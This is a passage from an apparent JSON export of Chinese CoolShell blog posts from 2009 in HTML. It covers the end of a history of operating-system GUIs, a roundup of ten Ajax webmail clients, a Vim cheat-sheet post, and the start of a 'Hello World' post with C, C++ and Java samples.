width=\"615\"/></a><br/>\nIBM OS/2 Warp 4, Source:<a href=\"http://toastytech.com/guis/os24.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a>  </p>\n<h2><strong>Mac OS System 8 (released in 1997)</strong></h2>\n<p style=\"TEXT-ALIGN: left;\"><span style=\"font-family: Tahoma;\">该版本的 GUI 支持默认的256色图标，Mac OS 8 最早采用了伪3D图标，其灰蓝色彩主题后来成为 Mac OS GUI 的标志。</span></p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/31-macos-8.jpg\"><img alt=\"31-macos-8\" class=\"size-full wp-image-136 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/31-macos-8.jpg\" title=\"31-macos-8\" width=\"615\"/></a>Apple Mac OS 8, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/macos80\"><strong><span style=\"color: #9e0728; font-family: Tahoma;\"><em>guidebookgallery.org</em></span></strong></a></p>\n<p> </p>\n<h2><strong>Windows 98 (released in 1998)</strong></h2>\n<p> 图标风格和 Windows 95 几无二致，不过颜色支持得更多了。支持超过了256色的图标。第一次出现了“Active Desktop”，桌面和IE集成，开始了internet的全面集成。</p>\n<p><em><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/32-windows-98.jpg\"><img alt=\"32-windows-98\" height=\"461\" src=\"../wp-content/uploads/2009/03/32-windows-98.jpg\" title=\"32-windows-98\" width=\"615\"/></a><br/>\nMicrosoft Windows 98, Source: </em><a href=\"http://toastytech.com/guis/win98.html\"><strong><em><span style=\"color: #9e0728;\">toastytech.com</span></em></strong></a></p>\n<p>  </p>\n<h2><strong>KDE 1.0 (released in 1998)</strong></h2>\n<p>KDE是 Linux 的一个统一图形用户界面环境。</p>\n<p><a href=\"http://www.guidebookgallery.org/screenshots/macos80\"><strong><em></em></strong></a></p>\n<p><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/33-kde-1.jpg\"><img alt=\"33-kde-1\" height=\"461\" src=\"../wp-content/uploads/2009/03/33-kde-1.jpg\" title=\"33-kde-1\" width=\"615\"/></a><br/>\nKDE 1.0, Source: </span></em><a href=\"http://ditesh.gathani.org/blog/2008/04/25/culture-matters/\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">ditesh.gathani.org</span></em></strong></a></p>\n<h2><strong>GNOME 1.0 (released in 1999)</strong></h2>\n<p>Red Hat Linux发行版开发的GUI，GNOME后来也被别的 Linux 采用。</p>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/34-gnome-1.gif\"><img alt=\"34-gnome-1\" height=\"461\" src=\"../wp-content/uploads/2009/03/34-gnome-1.gif\" title=\"34-gnome-1\" width=\"615\"/></a></p>\n<p><em><span style=\"font-family: Tahoma;\">Red Hat Linux GNOME 1.0.39, Source: </span></em><a href=\"http://www.visionfutur.com/img/histoire/gnome1-1.jpg\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">visionfutur.com</span></em></strong></a></p>\n<p> </p>\n<h2>2001 – 2005</h2>\n<h2><strong>Mac OS X (released in 2001)</strong></h2>\n<p>2000年初，苹果宣布推出其 Aqua 界面，2001年，推出全新的操作系统 Mac OS X。默认的 32×32, 48×48 被更大的 128×128 平滑半透明图标代替。该 GUI 一经推出立即招致大量批评，似乎用户都如此大的变化还不习惯，不过没过多久，大家就接受了这种新风格，如今这种风格已经成了 Mac OS 的招牌。</p>\n<p><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/35-mac-osx-1.jpg\"><img alt=\"35-mac-osx-1\" height=\"461\" src=\"../wp-content/uploads/2009/03/35-mac-osx-1.jpg\" title=\"35-mac-osx-1\" width=\"615\"/></a><br/>\nApple Mac OS X 10.1 Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/macosx101\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<h2><strong>Windows XP (released in 2001)</strong></h2>\n<p>每一次微软推出重要的操作系统版本，其 GUI 也必定有巨大的改变，Windows XP 也不例外，这个 GUI 支持皮肤，用户可以改变整个 GUI 的外观与风格，默认图标为 48×48，支持上百万颜色。</p>\n<p><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/36-windows-xp.jpg\"><img alt=\"36-windows-xp\" height=\"461\" src=\"../wp-content/uploads/2009/03/36-windows-xp.jpg\" title=\"36-windows-xp\" width=\"615\"/></a><br/>\nMicrosoft Windows XP Professional, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/winxppro\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<h2><strong>KDE 3 (released in 2002)</strong></h2>\n<p>自从KDE 1.0以来，K Desktop Enviornment 改善地非常地快也非常的迅猛。其对所有图形和图标进行了改进并统一了用户体验。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/37-kde-3.jpg\"><img alt=\"37-kde-3\" height=\"461\" src=\"../wp-content/uploads/2009/03/37-kde-3.jpg\" title=\"37-kde-3\" width=\"615\"/></a></p>\n<p><em><span style=\"font-family: Tahoma;\">KDE 3.0.1, Source: </span></em><a href=\"http://www.netbsd.org/gallery/in-Action/jschauma-kde3.png\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">netbsd.org</span></em></strong></a></p>\n<p> </p>\n<p> </p>\n<h2>2007 – 2009</h2>\n<h2>Windows Vista (released in 2007)</h2>\n<p>开始3D桌面了。这是微软向其竞争对手做出的一个挑战，Vista 中同样包含很多 3D 和动画，自 Windows 98 以来，微软一直尝试改进桌面，在 Vista 中，他们使用类似饰件的机制替换了活动桌面。不过Linux下的3D桌面可更为夸张。</p>\n<p><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/38-windows-vista.jpg\"><img alt=\"38-windows-vista\" height=\"461\" src=\"../wp-content/uploads/2009/03/38-windows-vista.jpg\" title=\"38-windows-vista\" width=\"615\"/></a></span></em></p>\n<p><em><span style=\"font-family: Tahoma;\">Microsoft Windows Vista, Source: </span></em><a href=\"http://technology.berkeley.edu/msvista/images/800px-Windows_Vista_Desktop.png\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">technology.berkeley.edu</span></em></strong></a></p>\n<h2><strong>Mac OS X Leopard (released in 2007)</strong></h2>\n<p><span style=\"FONT-STYLE: normal;\"><span style=\"font-family: Tahoma;\">这是第6代的Mac OS桌面系统，也是一样，引入了更好的3D元素。还有大量的动画。</span></span></p>\n<p><span style=\"FONT-STYLE: normal;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/39-mac-osx-leopard.jpg\"><img alt=\"39-mac-osx-leopard\" height=\"388\" src=\"../wp-content/uploads/2009/03/39-mac-osx-leopard.jpg\" title=\"39-mac-osx-leopard\" width=\"615\"/></a></span></em></span></p>\n<p><span style=\"FONT-STYLE: normal;\"><em><span style=\"font-family: Tahoma;\">Apple Mac OS X 10.5 Leopard, Source: </span></em><a href=\"http://skattertech.com/media/2007/10/apple-os-x-leopard-screenshot.jpg\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">skattertech.com</span></em></strong></a></span></p>\n<p> </p>\n<h2>KDE (v4.0 Jan. 2009, v4.2 Mar. 2009)</h2>\n<p>KDE 4 的 GUI 提供了很多新改观，如动画的，平滑的，有效的窗体管理，图标尺寸可以很容易调整，几乎任何设计元素都可以轻松配置。相对前面的版本绝对是一个巨大的改进。</p>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/40-kde.jpg\"><img alt=\"40-kde\" height=\"384\" src=\"../wp-content/uploads/2009/03/40-kde.jpg\" title=\"40-kde\" width=\"615\"/></a></p>\n<p><em><span style=\"font-family: Tahoma;\">Source: </span></em><a href=\"http://en.wikipedia.org/wiki/File:KDE_4.2_desktop.png\" rel=\"nofollow\" target=\"_blank\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">Wikipedia</span></em></strong></a> </p>\n<p>（全文完）</p>\n<p> </p>\n<p>文章：<a href=\"http://www.webdesignerdepot.com/2009/03/operating-system-interface-design-between-1981-2009/\" target=\"_blank\">来源</a></p>\n<h2> </h2>\n<p> </p>\n<p style=\"TEXT-ALIGN: left;\"> </p>\n<p><a href=\"http://www.makowski-berlin.de/\"><strong><em></em></strong></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1998.html\"><img alt=\"粉丝眼中的操作系统\" height=\"150\" src=\"../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1998.html\">粉丝眼中的操作系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3097.html\"><img alt=\"Windows的达尔文进化图\" height=\"150\" src=\"../wp-content/uploads/2010/10/W_600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/105.html\">操作系统图形界面发展史(1981-2009)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-13 10个基于Ajax的PHP Webmail客户端.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail1.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail2.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail3.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail4.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail5.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail6.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail7.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail8.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail9.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail10.jpg\"></a> 下面是十个非常不错的，使用Ajax技术的用PHP开发Webmail的客户端。大家在使用的时候请注意其license。</p>\n<h3 class=\"title\">1. <a href=\"http://roundcube.net/\">RoundCube</a></h3>\n<p>RoundCube Webmail 是一个基于浏览器的IMAP 客户端，其提供了丰富的功能，包含MIME，地址本，文件夹操作，邮件搜索和拼写检查。 RoundCube Webmail 由 PHP写成，需要 MySQL 或 Postgres 数据库的支持。其UI完全遵守于XHTML 和 CSS 2.</p>\n<p class=\"img\"><a href=\"http://roundcube.net/\"></a></p>\n<p class=\"img\" style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail1.jpg\"><img alt=\"webmail1\" class=\"aligncenter\" height=\"285\" src=\"../wp-content/uploads/2009/03/webmail1.jpg\" title=\"webmail1\" width=\"500\"/></a></p>\n<p class=\"img\"><span id=\"more-154\"></span></p>\n<h3 class=\"title\">2. <a href=\"http://www.zimbra.com/community/downloads.html\">Zimbra</a></h3>\n<p>Zimbra 提供了一个开源的邮件和日历系统，也是基于Ajax技术，非常强大的客户端，他可以通过web service集成第三方的应用“mash-ups” ，于是你可以享有CRM，地图或其它更多的功能。</p>\n<p class=\"img\"><a href=\"http://www.zimbra.com/community/downloads.html\"></a></p>\n<h3 class=\"title\" style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail2.jpg\"><img alt=\"webmail2\" height=\"230\" src=\"../wp-content/uploads/2009/03/webmail2.jpg\" title=\"webmail2\" width=\"500\"/></a></h3>\n<h3 class=\"title\">3. <a href=\"http://www.xuheki.com/\">Xuheki</a></h3>\n<p>Xuheki 是一个很快的 IMAP 使用AJAX技术开发的客户端。你能想到的功能它基本上都有了，它使用的是 GNU General Public License.</p>\n<p class=\"img\"><a href=\"http://www.xuheki.com/\"></a></p>\n<h3 class=\"title\" style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail3.jpg\"><img alt=\"webmail3\" height=\"230\" src=\"../wp-content/uploads/2009/03/webmail3.jpg\" title=\"webmail3\" width=\"500\"/></a></h3>\n<h3 class=\"title\">4. <a href=\"http://www.squirrelmail.org/\">SquirrelMail</a></h3>\n<p>SquirrelMail 这是一个中规中矩的webmail，PHP语言写成，并没有使用AJAX技术，所以并不是很炫，不过它是使用了纯内建的PHP功能支持了IMAP和SMTP。所有的页面都是纯HTML 4.0 (没有任何JavaScript) ，这样的目的主要是为了最大化兼容于不同的浏览器。</p>\n<p class=\"img\"><a href=\"http://www.squirrelmail.org/\"></a></p>\n<h3 class=\"title\" style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail4.jpg\"><img alt=\"webmail4\" height=\"180\" src=\"../wp-content/uploads/2009/03/webmail4.jpg\" title=\"webmail4\" width=\"500\"/></a></h3>\n<h3 class=\"title\">5. <a href=\"http://atmail.com/index.php\">Atmail</a></h3>\n<p>AtMail, 一个免费的轻量级的 Ajax Webmail 客户端，由PHP写成，支持WEB和WAP。</p>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail5.jpg\"><img alt=\"webmail5\" height=\"247\" src=\"../wp-content/uploads/2009/03/webmail5.jpg\" title=\"webmail5\" width=\"500\"/></a></p>\n<h3 class=\"title\">6. <a href=\"http://www.afterlogic.com/products/webmail-lite\">afterlogic</a></h3>\n<p>AfterLogic WebMail Lite PHP 是一个非常易用的 webmail 但其界面又非常Cool，其支持 AJAX 和皮肤。支持POP3 和 SMTP。支持收发邮件，多附件，多帐号，多域，邮件预览，站点管理。安装非常容易，需要PHP 4.1+，完全开源并完全免费。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail6.jpg\"><img alt=\"webmail6\" height=\"247\" src=\"../wp-content/uploads/2009/03/webmail6.jpg\" title=\"webmail6\" width=\"500\"/></a></p>\n<p><a class=\"download\"></a> </p>\n<h3 class=\"title\">7. <a href=\"http://www.hastymail.org/\">Hastymail</a></h3>\n<p>Hastymail 是一个有完整功能的 IMAP/SMTP 客户端，由 PHP 写成。兼容于 PDAs, 手机, 文本浏览器，以及所有的主流浏览器。 Hastymail 有强大的 <a href=\"http://www.hastymail.org/plugins/\">插件 </a>系统，因为PHP程序员可以随意地改变或增加自己想要的插件。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail7.jpg\"><img alt=\"webmail7\" height=\"247\" src=\"../wp-content/uploads/2009/03/webmail7.jpg\" title=\"webmail7\" width=\"500\"/></a></p>\n<h3 class=\"title\">8. <a href=\"http://mailr.org/\">Mailr</a></h3>\n<p>Mailr 是一个开源的 webmail 由 Ruby写成，它使用 Ruby On Rails 的web application 框架。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail8.jpg\"><img alt=\"webmail8\" height=\"247\" src=\"../wp-content/uploads/2009/03/webmail8.jpg\" title=\"webmail8\" width=\"500\"/></a></p>\n<h3 class=\"title\">9. <a href=\"http://www.claros.org/web/home.do\">Claros inTouch</a></h3>\n<p>Claros inTouch 是一个Ajax 消息套装其包含了主要特性有webmail，地址本，记事本，日历(还在开发)，网络硬盘 (还在开发)，内建的即时聊天，以及RSS阅读器。这是第一个开源的webmail其包含了内建的垃圾邮件保护和即时聊天功能的项目。但主要使用了Java语言，利用 JSP/Servlets 及 J2EE技术和 MySQL 数据库。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail9.jpg\"><img alt=\"webmail9\" height=\"247\" src=\"../wp-content/uploads/2009/03/webmail9.jpg\" title=\"webmail9\" width=\"500\"/></a></p>\n<h3 class=\"title\">10. <a href=\"http://www.postaciwebmail.org/\">Postaci</a></h3>\n<p>Postaci 是一个基于 PHP 的POP3/IMAP 邮件客户端，其支持 SMTP 认证。 其使用MySQL, mSQL, Microsoft SQL, Sybase 或PostgreSQL数据库。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail10.jpg\"><img alt=\"webmail10\" height=\"247\" src=\"../wp-content/uploads/2009/03/webmail10.jpg\" title=\"webmail10\" width=\"500\"/></a></p>\n<p class=\"img\">文章：<a href=\"http://www.noupe.com/ajax/10-ajax-webmail-clients.html\" target=\"_blank\">来源</a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5132.html\"><img alt=\"疯狂的 Web 应用开源项目\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5132.html\">疯狂的 Web 应用开源项目</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2593.html\"><img alt=\"Web版的VNC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1611.html\"><img alt=\"Ajax开发利器UIzard \" height=\"150\" src=\"../wp-content/uploads/2009/10/uizard2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1611.html\">Ajax开发利器UIzard </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/154.html\">10个基于Ajax的PHP Webmail客户端</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-13 Vim命令速查卡.html",
    "content": "<html><body><p>Vim是unix/linux下的文本编辑器，很牛，但也不好用，这是一个根本不需要小键盘和鼠标的编译器，是专业人士的编辑器。这里有一个命令速查卡。PDF文件可以在这里下载：<a href=\"http://jrmiii.com/attachments/Vim.pdf\" target=\"_blank\">PDF</a> </p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/vim.png\"><img alt=\"vim\" class=\"aligncenter\" height=\"282\" src=\"../wp-content/uploads/2009/03/vim-300x282.png\" title=\"vim\" width=\"300\"/></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/150.html\">Vim命令速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-14 Hello World 集中营.html",
    "content": "<html><body><p>编程的人应该都知道什么是Hello World。这是一个最简单的程序，其只在屏幕上输出“Hello World”字样，这通常是初学者的在学习编程时的第一个示例。把打印出 “Hello World” 作为第一个范例程序，现在已经成为编程语言学习的传统。<br/>\n<img alt=\"hello_world\" class=\"alignright size-thumbnail wp-image-170\" height=\"150\" src=\"../wp-content/uploads/2009/03/hello_world-150x150.png\" title=\"hello_world\" width=\"150\"/><br/>\n“Hello World”起源于Brian Kernighan 和<span lang=\"en\" xml:lang=\"en\">Dennis MacAlistair Ritchie</span>写的计算机程序设计教程《C语言程序设计》（<a class=\"extiw\" href=\"http://en.wikipedia.org/wiki/The_C_Programming_Language\" title=\"en:The C Programming Language\"><em>The C Programming Language</em></a>）而广泛流传；但这本书并不是 “hello, world” 的滥觞，虽然这是一个普遍存在的错误认知。</p>\n<p>这范例程序最早出现于 1972 年，由贝尔实验室成员 Brian Kernighan 撰写的内部技术文件《Introduction to the Language B》之中。不久同作者于 1974 年所撰写的《Programming in C: A Tutorial》，也延用这个范例；而以本文件扩编改写的《C语言程序设计》也保留了这个範例程式。</p>\n<p>“hello, world” 程序的标准打印内容必须满足“全小写，无惊叹号，逗点后需空一格”，不过流传至今，完全恪守传统的反而罕见。</p>\n<p><span id=\"more-169\"></span></p>\n<p>下面我们来看几个例子：</p>\n<pre class=\"c\" name=\"code\">#include &lt;stdio.h&gt;\n\nint main(void)\n{\n   printf(\"Hello, world!n\");\n   return 0;\n}\n</pre>\n<pre class=\"c++\" name=\"code\">#include &lt;iostream&gt;\nusing namespace std;\n\nint main()\n{\n    cout &lt;&lt; \"Hello, world!\" &lt;&lt; endl;\n    return 0;\n}\n</pre>\n<pre class=\"java\" name=\"code\">public class Hello\n{\n    public static void main(String[] args)\n    {\n        System.out.println(\"Hello, world!\");\n    }\n}\n</pre>\n<p>不过，最全的Hello World的集中营在这里：（请大家围观这个网页）</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://www.roesler-ac.de/wolfram/hello.htm\"><strong>http://www.roesler-ac.de/wolfram/hello.htm</strong></a></p>\n<p>这个网站很BT啊，其开始是从1994年10月3日，于1999年12月30日上互联网，2005年7月14日收集到了超过200个不同语言的Hello World，2006年12月6日达到300个，2008年2月27日达到400个。</p>\n<p>今天这个网站有一共421个不同语言的Hello World，其中有63个来自人类的语言。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17446.html\"><img alt=\"这多年来我一直在钻研的技术\" height=\"150\" 